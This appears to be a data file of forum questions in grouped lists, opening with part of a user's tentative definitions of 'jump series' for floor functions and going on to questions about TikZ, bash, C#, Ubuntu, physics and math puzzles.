defined abstractly as area. I'm defining terms. Jump Series Theorem def. A function $f$ [consisting of floor] is said to have a jump series if there is a series $\\Sigma=\\sum_{n=1}^\\infty a_nH_n$ of scaled step functions such that $f+\\Sigma$ no longer has any discontinuity attributable to floor. The sequence of scaling factors $a_n$ is called the jump sequence for the function. Definition of Implied Derivative def. We define the evaluation of the implied derivative of a function $y$ at the point $x$ as the set of values $y^{\\to}(x) = \\{y | y = \\lim_{h \\to 0^+} \\frac {y(x+h) - f(h)}{h} \\lor y = \\lim_{h \\to 0^-} \\frac {y(x+h) - f(h)}{h}\\}$. It is in this sense that the implied derivative has the potential of being a multi-valued operator. Jump Series Resolution Theorem [The original wording is preserved; I have a formalism but it assumes that having a jump function is equivalent to being piecewise continuous, which I'm not sure is true.] The integral of a floor-based function is floor treated as a constant minus the appropriate jump series of the integral. Integration Continuity Theorem The (ordinary) indefinite integral of any function $f$ having a jump series must be continuous (or fixably discontinuous) on the domain of $f$. However, this can vary for the implied indefinite integral. Calculus Jump Theorem def. [Again, the original wording is preserved; the meaning of this phrase has not been properly illuminated] Any form of jumping within a function representable as a floor function can be considered as a portion of the constant of the implied integration for floor. Jump Location Theorem For any function $a(x)$ with a jump series, the function $\\lfloor a(x)\\rfloor$, has points of discontinuity precisely at those $x$ such that $a(x) - [a(x)] = 0$. Composite Floor Function Jump Sequence Theorem One If $a$ is a function such that $a(x) - \\lfloor a(x) \\rfloor = 0$ when $x - \\lfloor x \\rfloor = 0$, then the jump sequence of the composite function $f(x - \\lfloor a\\rfloor)$ is a constant value $f(0) - f(1)$. Implied Differential Equations Conjecture Any continuous solution to an equation constructed with implied derivatives of various orders is the same as the solution to the similarly constructed differential equation." ]

[ "How to remove duplicate entries in dash?", "Play a short sound in iOS", "Is there any \"superlogarithm\" or something to solve an equation like this: $$x^x = 10?$$", "Tikz: setting options for pin I just found the pin option to drawing, and it looks useful in some of the things I want to draw. How do I format it though? I've tried pin=[red]60:{Hey!} and I get the error Cannot parse this coordinate. \\documentclass{standalone} \\usepackage{tikz} \\usetikzlibrary{shapes,arrows,positioning} \\begin{document} \\begin{tikzpicture}[node distance=2cm,>=latex, every node/.style={ font=\\sffamily\\scriptsize }, circtext/.style={draw,circle,minimum size=8pt,inner sep=2pt}, dot/.style={draw,circle,fill=black,minimum size=0.6mm,inner sep=0pt} ] { \\node[rectangle, fill=green!10!white!90!black, minimum width=6cm, minimum height=3cm] at (2,0){}; \\node[circtext, fill=yellow](A) at (0,0) {A}; \\node[circtext, fill=yellow, right=of A](B){B}; \\draw[->] (A) -- node[dot, pos=0.5, pin=[red]60:{Hey!}](C){}(B); } \\end{tikzpicture} \\end{document} The default style looks like it's a gray thin arrow, and I want to change it to a black thin dotted line with no arrow. update: I figured out how to add style to the pin node: pin={[red]60:Hey!}] But I can't figure out how to change the linestyle though.", "My router can do port-forwarding based on MAC addresses. That is, a specific MAC will get a specific IP, for which I can configure a set of ports to be forwarded. In order to easily change that set of ports, I'd like to have different connections in the Network manager. How do I change the MAC address for a network connection?", "Given two points (defined, for instance using nodes), I want to compute the distance between them. Is there some build in functionality in tikz to do this? If not, how can it be done using the mathematical engine? The application I have in mind is to draw an circular arc centered at (a) and passing through some second point (b), where only (a) and (b) are known.", "My group of 8 level 3 players are about to run through the Thundertree Ruins and will probably have a hand at fighting the dragon. My question stems from the fact that a single poison breath attack from the dragon will outright kill all but 1 player assuming they fail their saving throws. I understand this encounter is supposed to be ridiculously deadly, but I don't want to be punishing my players for testing the lengths at which they can fight stuff. A fight should be challenging and they should be able to try and run away, but instant obliteration seems a bit much. All PCs are level 3 (HP in parenthesis): Wood elf moon druid (27) dwarven frenzy barbarian (44) fire genasi archer ranger (37) (pseudodragon companion (12)) wood elf assassin rogue (27) human wild magic sorcerer (22) dragonborn fighter (29) human monk (24) human fighter (32)", "Preview of CAD files in format .dwg I'm looking for a utility or a program for Ubuntu, and possibly even for Windows that is able to convert a CAD file format .DWG to PDF. My need is to provide a preview of CAD files, and I thought that the easiest way is to convert them into PDF format, but I'm open to suggestions, even if there is only the possibility to convert them to JPG image file type or PNG would be fine. What interests me is only to find some solution, no matter if it is commercial or free", "Find minimum value of $\\sum \\frac{\\sqrt{a}}{\\sqrt{b}+\\sqrt{c}-\\sqrt{a}}$", "Why $(a+d)(b+c)$ equals $-16$? If $a,b,c$ and $d$ satisfy the equations:$$a+7b+3c+5d=0$$$$8a+4b+6c+2d=-16$$$$2a+6b+4c+8d=16$$$$5a+3b+7c+d=-16$$ then $(a+d)(b+c)$ equals $-16$. I can't understand why $(a+d)(b+c)$ equals $-16$?", "How to do vlookup and fill down (like in Excel) in R?", "Person falls into radiotelescope and his mind gets transported to the far future", "No Dropbox top panel icon since update to 18.04", "Linear algebra is a very well-behaved part of mathematics. Soon after you have mastered the basics you got a good feeling for what kind of statements should be true -- even if you are not familiar with all major results and counterexamples. If one replaces the underlying field by a ring, and therefore looks at modules, things become more tricky. Many pathologies occur that one maybe would not expect coming from linear algebra. I am looking for a list of such pathologies where modules behave differently than vector spaces. This list should not only be a list of statements but all phenomena should be illustrated by an example. To start the list I will post an answer below with all pathologies that I know from the top of my head. This should also explain better what kind of list I have in mind.", "The new notice for protected questions looks like this: Earn 10 reputation in order to answer this question. The reputation requirement helps protect this question from spam and non-answer activity. The phrasing of this notice leaves out a lot of info, and is incorrect in many cases: In the case where the user has just created their account on the site (whether or not they have the association bonus of +100), the default 1 for signing up does count toward the required 10. The message implies that the user has to earn 10 more reputation for a total of 11 (or 111), while the actual requirement is 10 (or 110). If the user just registered and started off with the association bonus, then later lost part of it (e.g. through bounties or making a downvoted post), earning 10 reputation is not enough to answer protected questions. According to the literal wording of the notice, earning 10 reputation is enough regardless of previous rep loss, but this is not the case. The easiest fix that can be made, to at least fix part of the problem, would be to explicitly indicate that the association bonus does not count. This was implemented in the prior protected question notice in response to , but was omitted from the new notice. This omission , and adding this back would remove that. Can we please fix this notice?", "Can anyone help me with a solution?", "For a given class I would like to have tracing functionality i.e. I would like to log every method call (method signature and actual parameter values) and every method exit (just the method signature). How do I accomplish this assuming that: I don't want to use any 3rd party AOP libraries for C#, I don't want to add duplicate code to all the methods that I want to trace, I don't want to change the public API of the class - users of the class should be able to call all the methods in exactly the same way. To make the question more concrete let's assume there are 3 classes: public class Caller { public static void Call() { Traced traced = new Traced(); traced.Method1(); traced.Method2(); } } public class Traced { public void Method1(String name, Int32 value) { } public void Method2(Object object) { } } public class Logger { public static void LogStart(MethodInfo method, Object[] parameterValues); public static void LogEnd(MethodInfo method); } How do I invoke Logger.LogStart and Logger.LogEnd for every call to Method1 and Method2 without modifying the Caller.Call method and without adding the calls explicitly to Traced.Method1 and Traced.Method2? Edit: What would be the solution if I'm allowed to slightly change the Call method?", "Define functions in structs", "Facebook authorization fails on iOS6 when switching FB account on device", "How do I hide an element when printing a web page?" ]

[ "(clickable) Mainad has a valid height and width, however it isn't shown like subad1/subad2. Which are in essence exactly the same! (just a different background image). Firebug shows my div as greyed out for some weird reason. Replacing the contents of mainad with just some text doesn't solve the problem (problem isn't related to inner elements).. What's going on?! :(", "How do I make Thunderbird open links in Chromium? I want to be able to click links in Thunderbird emails and have them open in Chromium (package name chromium-browser). Instead, they open in Firefox. I have tried the following: xfce preferred applications (Chromium is not listed, so I had to hunt down the executable) -- next time I run chromium, it complains that it is no longer the default browser. Telling Chromium to set itself as the default browser. Thunderbird opens links in Firefox. update-alternatives. It's already listed as an alternative at the same priority as Firefox. The \"open web browser\" app menu item opens Chromium. Thunderbird opens links in Firefox. I have looked through the entire preferences gui in Thunderbird (but not the advanced config editor yet) and seen nothing that mentions what browser to open links in. Please note that this is not Google Chrome.", "I hava Lenovo g580 laptop. I want to change disk to SSD drive, but I'm not sure if my laptop support SATA 3 (6Gbps). I write following output: dmesg | grep SATA [ 3.190743] ahci 0000:00:1f.2: AHCI 0001.0300 32 slots 6 ports 6 Gbps 0x5 impl SATA mode [ 3.199450] ata1: SATA max UDMA/133 abar m2048@0xd3617000 port 0xd3617100 irq 43 [ 3.199455] ata3: SATA max UDMA/133 abar m2048@0xd3617000 port 0xd3617200 irq 43 [ 3.518365] ata1: SATA link up 3.0 Gbps (SStatus 123 SControl 300) [ 3.857921] ata3: SATA link up 1.5 Gbps (SStatus 113 SControl 300) Is that means I Can use SSD disk in SATAa 6Gbps mode?", "Boot drops to a (initramfs) prompts/busybox I am running an HP pavilion dv6000 dual boot win7 and Ubuntu 12.04. (well, up until today). After a reboot, the boot process drops to the BusyBox shell and I end up at the prompt: BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4) built-in shell (ash) Enter 'help' for a list of built-in commands. (initramfs) I've been researching others who have had this same problem, but haven't been able to find any of those solutions to work for me. I tried the method described , and after the final command mount -t ntfs-3g /dev/sda1 /root -o force it does nothing and gives me another (initramfs) prompt. I can boot to a live CD (USB) and get to a terminal, but it doesn't seem to do much good, as I can see the /dev/sda1 in the ls command, but it doesn't recognize it when I try to cd to it. One more question: using the command fdisk -l how can I tell which mount point (sda1/sda2) is my windows partition and which one is Ubuntu?", "So I understand the concept of gravity, in that it's not actually a force, but more of a displacement in the spacetime grid. An object with a big enough mass will bend the spacetime, causing smaller objects to \"attract\" to it (not really, but good enough for what I am trying to figure out) Ok so that makes sense, but what I am not understanding is, how come planets don't just get engulfed by the Sun? There must be something acting against the gravity for the planet to be a certain distance away from the sun. Am I not understanding this concept correctly?", "How can I check if an application is running from a batch (well cmd) file? I need to not launch another instance if a program is already running. (I can't change the app to make it single instance only.) Also the application could be running as any user.", "We know Euler formula: $$ e^{ix}=\\cos(x)+i\\sin(x). $$ Does this formula work if we replace real number $x$ with complex number $z$?", "Can someone explain collection_select to me in clear, simple terms?", "java.sql.SQLException: Column count doesn't match value count at row 1", "I am writing a bash script to look for a file if it doesn't exist then create it and append this to it: Host localhost ForwardAgent yes So \"line then new line 'tab' then text\" I think its a sensitive format. I know you can do this: cat temp.txt >> data.txt But it seems weird since its two lines. Is there a way to append that in this format: echo \"hello\" >> greetings.txt", "I understand what the Chinese remainder theorem is. However I am not sure how to apply it to my question. Can someone explain please?", "Single quote within double quotes and the Bash reference manual In section 3.1.2.3 titled Double Quotes, the Bash manual says: Enclosing characters in double quotes (‘\"’) preserves the literal value of all characters within the quotes, with the exception of ‘$’, ‘`’, ‘\\’, and, when history expansion is enabled, ‘!’. At the moment I am concerned with the single quote('). It's special meaning, described in the preceding section, section 3.1.2.2 is: Enclosing characters in single quotes (') preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash. Combining the two expositions, echo \"'$a'\" where variable a is not defined (hence $a = null string), should print $a on the screen, as '', having it's special meaning inside, would shield $ from the special interpretation. Instead, it prints ''. Why so?", "MacVim -- how to make Ctrl+A go to beginning of line, Ctrl+E to the end of the line I'm trying to switch to MacVim as my main editor, and I'm liking it so far, except for one issue: I got really used to the Mac shortcuts control-A to go to the beginning of a line, and control-E to go to the end of a line. However, these two don't work in MacVim (control-A does something weird -- it seems to increase the last number in a line by 1 or something, and control-E seems to scroll down the screen by one line). Any way to make these two shortcuts go to the beginning of a line / end of a line respectively instead?", "I have 2 monitors connected to a NVIDIA GeForce GTX 660: Left is 1920x1080 via DVI (Samsung SyncMaster 2443BW) Right is 2560x1440 via DisplayPort and is set to Primary (Samsung SyncMaster SA850) I often leave my computer running overnight (working on long render job, doing backups, etc) so I only power off my monitors manually. However, if I power off the primary monitor, it is disabled completely as if it were unplugged from the graphics card (i.e. icons are moved, open apps are moved and resized to fit on the new primary monitor). If I switch from DP to a DVI cable, this does not occur. It seems to be an issue when using DisplayPort. Is there a way to disable the monitor from being disabled completely in Windows when I power it off physically? I have found no relevant settings in either Windows Display settings, nor the NVIDIA control panel software. Edit #1: I'm using an . Edit #2: Here is a screenshot of my NVIDIA Control Panel v7.2.710.0: Edit #3: Here are screenshots of my Monitor configuration: Clicking on Advanced settings reveals a Generic PnP monitor running at 59 Hz? 60 Hz is the only other option available. Here is my secondary monitor which is connected via DVI: Edit #4: If I open the \"Screen Resolution\" configuration panel and power the monitor off (via the power switch), this is what is shown: It looks like I disconnected the monitor from the video card.", "Is speed of light and sound rational or irrational in nature? Just as circumference of circle will remain $\\pi$ for unit diameter, no matter what standard unit we take, are the speeds of light and sound irrational or rational in nature ? I'm talking about theoretical speeds and not empirical, which of course are rational numbers.", "How does a lurker gain reputation to receive privilege for commenting?", "Changing color and fonts of itemize How can I change the font and color of a particular command in a LaTeX document? For example I want all the text that follows the \\item tag to be gray and the font should be different from the rest of the document , which i can specify ...", "Finding an angle within an 80-80-20 isosceles triangle The following is a geometry puzzle from a math school book. Even though it has been a long time since I finished school, I remember this puzzle quite well, and I don't have a nice solution to it. So here is the puzzle: The triangle $ABC$ is known to be isosceles, that is, $AC=BC$. The labelled angles are known to be $\\alpha=\\gamma=20°$, $\\beta=30°$. The task is to find the angle labelled \"?\". The only solution that I know of is to use the sine formula and cosine formula several times. From this one can obtain a numerical solution. Moreover this number can be algebraically shown to be correct (all sines and cosines are contained in the real subfield of the 36th cyclotomic field). So in this sense I solved the problem, but the solution is kind of a brute force attack (for example, some of the polynomials that show up in the computation have coefficients > 1000000). Since the puzzle originates from a book that deals only with elemetary geometry (and not even trigonometry if I remember correctly) there has to be a more elegant solution.", "Ignore .DS_Store and Icon files in a folder with Cocoa NSFIleManager", "Python Script to Add Fields to Feature Classes I have to try to add a field called 'Name' to a bunch of different feature classes using python, and then access the name of the feature class to fill in the field. I have no idea how to even start this! I know I need a loop but that's all I know." ]

[ "Is is possible that a software issue could be causing spotty USB-C connections on 2017 MacBook Pro? I have a 2017 MacBook Pro. It has 2 USB-C ports on the left side and I use an Aukey hub to provide more ports (4 USB, 1 HDMI, 1 USB-C) and always to connect two monitors. I connect one monitor through the hub with the HDMI port and another directly to the MBP with a USB-C adapter. Sometimes when I connect the hub to the Mac and the 2nd monitor to the Mac, it works as it should with no problem...but more than half the time I have to connect, disconnect, jiggle, jangle, switch ports, reconnect HDMI, etc. and hopefully they will both work. OFTEN, I can only get one monitor to fire up. Is there any kind of software fix or reset that might solve this issue? Any other thoughts welcome. Thanks.", "Functions satisfying $f:\\mathbb{N}\\rightarrow\\ \\mathbb{N}$ and $f(f(n))+f(n+1)=n+2$ Find all functions $f$ such that $f:\\mathbb{N}\\rightarrow\\ \\mathbb{N}$ and $f(f(n))+f(n+1)=n+2$ Let us plug in $n=1$ $f(f(1))+f(2)=3$ Since the function is from $\\mathbb{N}$ to $\\mathbb{N}$, $f(2)$ can only take the values $1,2$. Now we divide the problem into cases. Case-1: $f(f(1))=2,f(2)=1$ We can assume that $f(1)=c$ for the time being. Then plugging in $n=3$ and using $f(2)=1$ gives $$f(3)=4-c$$ and again since the range of the function is positive integers,then $4-c$ has to be positive and hence $c$ belongs to {$1,2,3$}. Now, $$f(1)=c$$$$\\implies f(f(1))=f(c)$$$$\\implies 2=f(c)$$ by the assumption that $f(f(1))=2$ . Now,since $c$ can only take the values $1,2,3$,we start treating cases. If $c=1$,$$f(c)=2$$$$\\implies f(1)=2$$ but we know from the deinition of $c$ that $f(1)=c=1$,a contradiction.If $c=2$,then $2=f(c)=f(2)$ but $f(2)=1$ by assumption. Finally,if $c=3$ $$2=f(c)=f(3)$$ but $$f(3)=4-c=4-3=1$$ which is once again a contradiction. Therefore there are no such functions in this case. Case-2: $f(f(1))=1,f(2)=2$ Again assuming $f(1)=c$ and using $f(n)\\le n$ along with plugging $n=c-1$ will give us that $f(1)=1$ and then it is easy to prove that such a function exists by recursion. I can only give a \"sort of recursive\" way to define the function. Here it goes $$f:\\mathbb{N}\\rightarrow \\mathbb{N}$$$$f(1)=1$$$$f(n)=n+1-f(f(n-1))$$ But this case is harder to deal with.Some help will be appreciated.", "How do I know the script file name in a Bash script? How can I determine the name of the Bash script file inside the script itself? Like if my script is in file runme.sh, then how would I make it to display \"You are running runme.sh\" message without hardcoding that?", "Drawing wavy, wiggly lines in QGIS? Is there a QGIS function or plugin to draw wiggly line? I have used Spline Tool to manually draw some waves, but it is time consuming. If possible, I would like to draw something like: Inkscape Function Plotter ( sin(x) curve).", "Have we managed to make a perfect vacuum? Have we managed to make a device without any atom inside it on earth? I was reading about vacuum , and I found in the examples part that even on the best man made vacuum devices, there are still millions of \"molecules per $cm^3$\". So my other question here is, what are these molecules and what is the mass of them?", "An operator has closed range if and only if the image of some closed subspace of finite codimension is closed.", "Pivot rows into multiple columns I have a SQL Server instance that has a linked server to an Oracle server. There is a table on the Oracle server called PersonOptions which contains the following data: ╔══════════╦══════════╗ ║ PersonID ║ OptionID ║ ╠══════════╬══════════╣ ║ 1 ║ A ║ ║ 1 ║ B ║ ║ 2 ║ C ║ ║ 3 ║ B ║ ║ 4 ║ A ║ ║ 4 ║ C ║ ╚══════════╩══════════╝ I need to pivot that data so the results are: ╔══════════╦═════════╦══════════╦══════════╗ ║ PersonID ║ OptionA ║ Option B ║ Option C ║ ╠══════════╬═════════╬══════════╬══════════╣ ║ 1 ║ 1 ║ 1 ║ ║ ║ 2 ║ ║ ║ 1 ║ ║ 3 ║ ║ 1 ║ ║ ║ 4 ║ 1 ║ ║ 1 ║ ╚══════════╩═════════╩══════════╩══════════╝ Any suggestions?", "How to preserve non-ASCII characters in ogr2ogr import?", "I have a div with two images and an h1. All of them need to be vertically aligned within the div, next to each other. One of the images needs to be absolute positioned within the div. What is the CSS needed for this to work on all common browsers? <div id="header"> <img src=".." ></img> <h1>testing...</h1> <img src="..."></img> </div>", "I see pictures online of everyone having all these Pokémon to catch being everywhere around them, but it seems like I can only ever see one or two. I live in a rural area, but even walking miles through the farmland, it's rare to find any Pokémon. Why is this? How can I find more Pokémon?", "Dashed line and Wireframe", "What are the recommended textbooks for introductory calculus?", "I think the title is pretty self explanatory. The question is how can I create an alias in a Windows cmd that will also work after I close and then reopen it. For example I would like an alias called ip to call the command ipconfig or an alias ls -l to call Dir. My operating system is Windows 10, in case that makes a difference.", "I need a robust and simple way to remove illegal path and file characters from a simple string. I've used the below code but it doesn't seem to do anything, what am I missing? using System; using System.IO; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { string illegal = \"\\\"M<>\\\"\\\\a/ry/ h**ad:>> a\\\\/:*?\\\"<>| li*tt|le|| la\\\"mb.?\"; illegal = illegal.Trim(Path.GetInvalidFileNameChars()); illegal = illegal.Trim(Path.GetInvalidPathChars()); Console.WriteLine(illegal); Console.ReadLine(); } } }", "An element of a group has the same order as its inverse If $a$ is a group element, prove that $a$ and $a^{-1}$ have the same order. I tried doing this by contradiction. Assume $|a|\\neq|a^{-1}|$ Let $a^n=e$ for some $n\\in \\mathbb{Z}$ and $(a^{-1})^m=e$ for some $m\\in \\mathbb{Z}$, and we can assume that $m < n$. Then $e= e*e = (a^n)((a^{-1})^m) = a^{n-m}$. However, $a^{n-m}=e$ implies that $n$ is not the order of $a$, which is a contradiction and $n=m$. But I realized this doesn't satisfy the condition if $a$ has infinite order. How do I prove that piece?", "Can I print a custom paper on standsard size in word?", "I want to pose a question such as: What is your name? Joe How would I accomplish this using Console.WriteLine to also wait for the response on that same line instead of it being broken into: What is your name? Joe", "I have an enum construct like this: public enum EnumDisplayStatus { None = 1, Visible = 2, Hidden = 3, MarkedForDeletion = 4 } In my database, the enumerations are referenced by value. My question is, how can I turn the number representation of the enum back to the string name. For example, given 2 the result should be Visible.", "Typing the ZIP code doesn't yield the company page", "How do I logout from a non-registered account? I have a registered StackOverflow account which I normally log into using OpenID. Recently I logged out in order to post a question anonymously (supplying a fake name and of my secondary email addresses). The problem now is that I'm logged in to StackOverflow as this \"dummy\" user, unable to see a way to log out. The top menu normally has a \"logout\" link, but when you aren't fully registered this link is replaced with \"register\". There is no \"logout\" link for me. :( So.. When logged out there is a \"login\" link. When logged in there is a \"logout\" link. When \"logged in\" with an unregistered account, there is only a \"register\" link (no \"logout\")." ]

[ "What are all the font styles I can use in math mode? As can be seen in above picture, there are lots of fonts or font styles that can be used in math mode. What are all the fonts or font styles I can use in math mode, and which packages are required in order to use them? Let's assume I'm using standard Computer Modern or Latin Modern (lmodern) fonts. Edit: It'd be great to see examples of what the different styles look like, probably via images. I'm not interested in a reproduction of the picture, which can be found at ; the picture is for illustration purposes only. Furthermore, this is supposed to become a one-catches-all question for questions like the beforementioned. If I actually were looking for these fonts, I wouldn't just lazily ask here but look e.g. at , tables 3.14 and 6.4 first.)", "IF/ELSE script in sender profile I'm trying to create a dynamic sender profile where the from name and from email change if a value is present in a specific field of the data extension. I want the Lead First Name value and Lead Last Name values to appear. I'm trying to keep all the logic in the sender profile. %%=IIF(EMPTY(AttributeValue("X")), "Bill", AttributeValue("LeadFirstName") AttributeValue("LeadLastName"))=%% Not sure why, but doing the test, the script shows up as the sender and isn't resolving.", "Best way to transfer files from Windows to Windows via Internet", "How can I add an application to the GNOME window manager? The GNOME on-board documentation covers only the things anyone can easily guess. I have an application for that I can only start from the command line. Not that I mind using a terminal but ... Anyway, how do I add the command (and preferably a nice logo) to GNOME WM?", "Let me tell the story from the beginning: I installed Big Sur on an unsupported Mac using guidelines at Medium. In the guide it was stated that I should create a separate partition for Big Sur, and shouldn't install it on my current one. I had my SSD Called "Macintosh SSD" and later I created a partition named "Macintosh SSD Big Sur" of size 40GBs. After installation I wanted to clear the "Macintosh SSD" of size 80GBs(with old MacOS) and merge it with the new "Macintosh SSD Big Sur". This is what I initially had after formatting partition with the old MacOS So, I used the command sudo diskutil apfs deleteContainer disk3 after which I had (free space) in /dev/disk1 I want to extend that 39.6GB partition which free space of 80,1GB but all the commands I googled do not work:(( Could you please guide me on what I should do now? Thank you in advance!", "How to view CD key for a Steam game? I have purchased a game on Steam and can not find out the details of the file or purchase. How does one find their CD Key from a game purchased in Steam?", "Allow [tag:tag-name] syntax to link to any site", "Better way of saying \"those who are curious\"?", "Cannot Delete Item \"Could Not Find This Item\" issue A friend sent a long a file (a .rar) he wanted me to check out for him before he installed it. I downloaded it and unrared it with no problems, but it was full of .exe's instead of the intended contents (fonts) so I advised him to delete it immediately and not use. I then proceeded to do the same, but the folder simply will not delete. Oddly the files went fine, and I never ran anything, but this is what I'm seeing: Could not find this item This is no longer located in C:\\Users\\This_User\\Desktop. verify the item's location and try again. I've tried the following things with no help: Using \"Unlocker\" to Unlock and delete Using move on reboot and rebooting Using PendMoves (from sysinternals) and rebooting Elevating a cmd line, doing a dir /x to get the short name of the folder, and then del 'shortna~1' Moving the folder to a new folder and then trying to delete the parent folder I'm on Windows 7 RTM, very fresh install. Any thoughts? Update: Just to confirm, I've run Hijack this and half a dozen other malware detectors, and everything came back clean (no extra processes, no other obvious badness). Rebooting in safe mode didn't help either.", "How can I remove duplicates in my .bash_history, preserving order? I really enjoying using control+r to recursively search my command history. I've found a few good options I like to use with it: # ignore duplicate commands, ignore commands starting with a space export HISTCONTROL=erasedups:ignorespace # keep the last 5000 entries export HISTSIZE=5000 # append to the history instead of overwriting (good for multiple connections) shopt -s histappend The only problem for me is that erasedups only erases sequential duplicates - so that with this string of commands: ls cd ~ ls The ls command will actually be recorded twice. I've thought about periodically running w/ cron: cat .bash_history | sort | uniq > temp.txt mv temp.txt .bash_history This would achieve removing the duplicates, but unfortunately the order would not be preserved. If I don't sort the file first I don't believe uniq can work properly. How can I remove duplicates in my .bash_history, preserving order? Extra Credit: Are there any problems with overwriting the .bash_history file via a script? For example, if you remove an apache log file I think you need to send a nohup / reset signal with kill to have it flush it's connection to the file. If that is the case with the .bash_history file, perhaps I could somehow use ps to check and make sure there are no connected sessions before the filtering script is run?", "Solve $x=y\\frac{dy}{dx}-\\left(\\frac{dy}{dx}\\right)^{2}$", "In Python, what are metaclasses and what do we use them for?", "Annuity notation in LaTeX", "Visual Studio \"Find\" results in \"No files were found to look in. Find stopped progress.\"", "Powershell Try Catch Continue", "Resolve build errors due to circular dependency amongst classes I often find myself in a situation where I am facing multiple compilation/linker errors in a C++ project due to some bad design decisions (made by someone else :) ) which lead to circular dependencies between C++ classes in different header files (can happen also in the same file). But fortunately(?) this doesn't happen often enough for me to remember the solution to this problem for the next time it happens again. So for the purposes of easy recall in the future I am going to post a representative problem and a solution along with it. Better solutions are of-course welcome. A.h class B; class A { int _val; B *_b; public: A(int val) :_val(val) { } void SetB(B *b) { _b = b; _b->Print(); // COMPILER ERROR: C2027: use of undefined type 'B' } void Print() { cout<<\"Type:A val=\"<<_val<<endl; } }; B.h #include \"A.h\" class B { double _val; A* _a; public: B(double val) :_val(val) { } void SetA(A *a) { _a = a; _a->Print(); } void Print() { cout<<\"Type:B val=\"<<_val<<endl; } }; main.cpp #include \"B.h\" #include <iostream> int main(int argc, char* argv[]) { A a(10); B b(3.14); a.Print(); a.SetB(&b); b.Print(); b.SetA(&a); return 0; }", "This is tricky. I would like to install Ubuntu on a machine that is intended to work as server, and for some reason I do not have an option to connect a screen to it. I expect this may be similar to remote installation. However, there is currently no OS on that machine, so I will have to set up everything from scratch. On the other hand, I do have a physical access to that machine. Therefore I can get it to boot from a CD/USB. But that's not enough. Is there a way to do such installation remotely? Is there a version of Ubuntu image that comes with a SSH server preinstalled, and starts it once booted, so that I can boot the machine with such image, connect to it via SSH and process the installation from a different computer? If not, what other options do I have?", "Need help to interpret output of free command I would appreciate help in interpreting the output of 'free -m' below. -bash-4.2$ free -m total used free shared buff/cache available Mem: 15793 7112 88 7840 8591 611 Swap: 16891 5289 11602 If I have nearly 11GB free then why am I seeing swap usage. Shouldn't that be 0? Also, the 'shared' value is 7840. Is this memory available for a new application? Is only 'cache' memory available for new applications? In other words, 'shared' and 'buffer' memory are not available for new applications? How should I interpret the 'available' column with a value of 611? How is this value arrived at?", "If $a_{ij}=\\max(i,j)$, calculate the determinant of $A$ If $A$ is an $n \\times n$ real matrix and $$a_{ij}=\\max(i,j)$$ for $i,j = 1,2,\\dots,n$, calculate the determinant of $A$. So, we know that $$A=\\begin{pmatrix} 1 & 2 & 3 & \\dots & n\\\\ 2 & 2 & 3 & \\dots & n\\\\ 3 & 3 & 3 & \\dots & n\\\\ \\vdots & \\vdots & \\vdots & \\ddots & \\vdots\\\\ n& n & n & \\dots & n \\end{pmatrix}$$ but what do I do after?", "Create an item in sharepoint calender when infopath form is submitted in sharepoint 2010 through workflow" ]

[ "How to convert light activated switch", "Does gravity affects on electrons in a noticeable way? Is there a way to force a free electron move in a low speed in order to observe it actually hitting 'on the floor'?", "Mutable or immutable class?", "How do you convert a cake recipe to make brownies?", "Possessive form for a surname ending with \"z\" What is the proper possessive form for a surname that ends with “z”? Is it z’ or z’s?", "Book: Nanobot apocalypse on Earth, originally used for weather control", "SE Android app for tablet has bad formatting on feed The lines wrap so much on v1.0.85 that only a few items can be displayed. Edit: This is on the world's most low end tablet, Azpen A727. Screenshots of the old: and new, showing loss of quality", "What is so special about speed of light in vacuum? I will try to be as explanatory as possible with my question. Please also note that I have done my share of googling and I am looking for simple language preferable with some example so that I can get some insight in this subject. My question is what is so special about $c$? Why only $c$. Its like chicken and egg puzzle for me. Does Einstein reached to $c$ observing light or does he got to light using some number which turned out equal to $c$. Why is $c$ not relative. If something has zero rest mass like a photon why they only travel at $c$ in vacuum and not with $c+1$ or $c-1$?", "Why do same/opposite electric charges repel/attract each other, respectively?", "How do you prove that $e=\\sum_{n=0}^{\\infty}\\frac{1}{n!}$? Here I am assuming $e:=\\lim_{n\\to\\infty}(1+\\frac{1}{n})^n$. Do you have any good PDF file or booklet available online on this? I do not like how my analysis text handles this...", "My hypothesis is that $\\mathbb{R \\times R}$, the set of all pairs $(r_1, r_2)$, of real numbers is uncountable. I understand that the set of all pairs of natural numbers is countable. But could someone explain why the set of all pairs of real numbers uncountable? I am having trouble proving it using diagolization", "Is there a way to closely approximate the CDF of a student-t distribution at a point $x$ without involving the hypergeometric function? For example, by using a series expansion, or expressing the CDF in terms of simpler functions? The t-distribution can $$t = \\frac{X\\sqrt{n}}{Y}$$ where $X$ is normally distributed with mean 0 and variance $\\sigma^2$; $\\frac{Y^2}{\\sigma^2}$ has a chi-squared distribution. Maybe this expression can help simplify the t CDF? I am trying to write an algorithm to compute the student-t CDF for any real number, so using the hypergeometric function will be extremely difficult. I am also trying to avoid integrating the PDF to get the CDF.", "What is a lambda (function)?", "How to set a proxy for terminal? I am looking to set a proxy for terminal. What I need is I want to send all terminal communications to the internet through a proxy, say tor. I tried to set a system wide proxy set up. But Terminal doesn't obey the system wide proxy configuration. Is there any other way to do this?", "I want to create a simple figure where images are connected with arrows. Here is what I did: \\begin{tikzpicture} \\node[](A) {\\includegraphics[width=0.2\\textwidth]{a}}; \\node[right=1mm of A](B) {\\includegraphics[width=0.2\\textwidth]{b}}; \\draw[->] (A) to (B); \\end{tikzpicture} But I want the arrow to start and end right at the images with no space between. How can I do that?", "My new laptop came preinstalled with Windows 8. Naively, as I am, I just formatted the harddrive and installed fine old Ubuntu. Now I want to install Windows 8 for dual boot again, but I have no DVD and to download the ISO one needs a product key. That key is not on the back of the laptop anymore but somewhere on the mainboard. Is there any way to recover the product key from the mainboard using Ubuntu?", "In Illustrator is there a way to precisely scale to a pivot point or \"reference point\" that is off the screen? I mean when you want to zoom in somewhere far away from where you set that point and then scale precisely to align something. Here's : To scale relative to a different reference point , click where you want the reference point to be in the document window, move the pointer away from the reference point, and then drag until the object is the desired size. Well, I tried using this click-drag scaling method as well, but the level of precision is too low to be usable. It overshoots or undershoots the guide I'm aiming for. The Scale tool's pop-up dialog isn't useful either. It only offers percentages. And moving/zooming are disabled while the dialog window is up, meaning I cannot navigate to the guide I need to see. For these reasons, I need to be zoomed in on the guide, tweaking the measurements from the top Control Panel. Some images to help illustrate what I mean: ▲ The circle marks where I would like the center of my scale transformation to be. ▲ Now zoomed in somewhere else, I am trying to get the black border of 